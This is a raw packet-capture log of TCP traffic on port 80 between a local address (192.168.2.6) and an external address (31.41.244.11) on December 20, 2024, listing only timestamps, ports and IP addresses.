Dec 20, 2024 21:13:28.890033960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.891207933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.891262054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.891316891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.891380072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.892321110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.892390013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.892420053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.892544985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.893400908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.893513918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.893517971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.893559933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.894769907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.894835949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.894867897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.894922972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.895798922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.895903111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.895961046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.896002054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.896949053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.897075891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.897082090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.897201061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.898127079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.898237944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.898261070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.898396015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.899298906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.899377108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.899404049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.899460077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.900485039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.900533915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.900609016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.900688887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.901676893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.901756048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.901838064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.901838064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.902893066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.902961016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.903007984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.904146910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.904207945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.904294014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.904423952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.905230045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.905275106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.905298948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.905344963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.906399012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.906533957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.906563044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.906585932 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.907630920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.907717943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.907771111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.908746004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.908830881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.908849955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.908946037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.909907103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.910003901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.910043955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.910166025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.911086082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.911320925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.911341906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.911492109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.912328959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.912453890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.912528992 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.913440943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.913549900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.913573980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.913703918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.914669991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.914736986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.914747000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.914863110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.915781021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.915854931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.915923119 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.916960001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.917026997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.917155027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.917200089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.918299913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.918373108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.918378115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.918442965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.919303894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.919418097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.919516087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.920656919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.920715094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.920717955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.920830011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.921807051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.921818972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.921873093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.921904087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.922859907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.922939062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.922993898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.923111916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.924012899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.924128056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.924135923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.924201012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.925174952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.925223112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.925306082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.925451040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.926392078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.926486015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.926568985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.926639080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.927556992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.927613974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.927694082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.927742958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.928704023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.928826094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.928900003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.929886103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.929939985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.930003881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.931082010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.931094885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.931132078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.931207895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.931531906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.932311058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.932379961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.932414055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.932483912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.933471918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.933562994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.933563948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.933613062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.934602976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.934735060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.934802055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.935843945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.935935974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.935971975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.935971975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.937055111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.937107086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.937140942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.938124895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.938143015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.938189030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.069186926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.069278955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.069353104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.069431067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.069741011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.069817066 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.069864035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.069924116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.070913076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.071027994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.071083069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.071223021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.072058916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.072155952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.072185993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.072253942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.073225975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.073407888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.073494911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.073719025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.074423075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.074464083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.074500084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.074542046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.075638056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.075705051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.075771093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.075826883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.076894045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.076956034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.077028990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.077075958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.078001022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.078052044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.078133106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.078186989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.079170942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.079235077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.079324007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.079385996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.080295086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.080363035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.080507040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.080590963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.081474066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.081533909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.081688881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.081732988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.082704067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.082775116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.082887888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.083121061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.083925009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.083981991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.084064007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.084137917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.085042953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.085140944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.085171938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.085249901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.086163044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.086263895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.086426973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.087414980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.087512970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.087541103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.087564945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.088587999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.088706970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.088829041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.088881969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.089704990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.089884996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.089962959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.090878010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.090929985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.090950012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.090975046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.092080116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.092139006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.092221975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.092314005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.093228102 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.093293905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.093322992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.093375921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.094387054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.094485998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.094511032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.094558954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.095674992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.095717907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.095726013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.095952988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.096748114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.096813917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.096817970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.096914053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.097975016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.098059893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.098081112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.098125935 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.099071980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.099189997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.099195004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.099271059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.100248098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.100342035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.100346088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.100472927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.101506948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.101622105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.101676941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.102760077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.102840900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.102875948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.102915049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.103816032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.103880882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.103910923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.103955030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.104967117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.105015039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.105021954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.105067015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.106220007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.106271982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.106286049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.106333971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.107418060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.107489109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.107521057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.107700109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.108524084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.108606100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.108630896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.108737946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.109868050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.109956980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.110007048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.110057116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.111006021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.111195087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.111309052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.112044096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.112123966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.112164021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.112252951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.113231897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.113281012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.113370895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.113614082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.114376068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.114454031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.114538908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.115576029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.115725994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.115813971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.115966082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.116736889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.116940975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.116997957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.118001938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.118077040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.118134975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.118195057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.119173050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.119272947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.119286060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.119343996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.120277882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.120335102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.120397091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.120440006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.121459007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.121526003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.121546030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.121567965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.122627020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.122704029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.122734070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.122895956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.123828888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.123951912 CET	80	49887	31.41.244.11	192.168.2.6
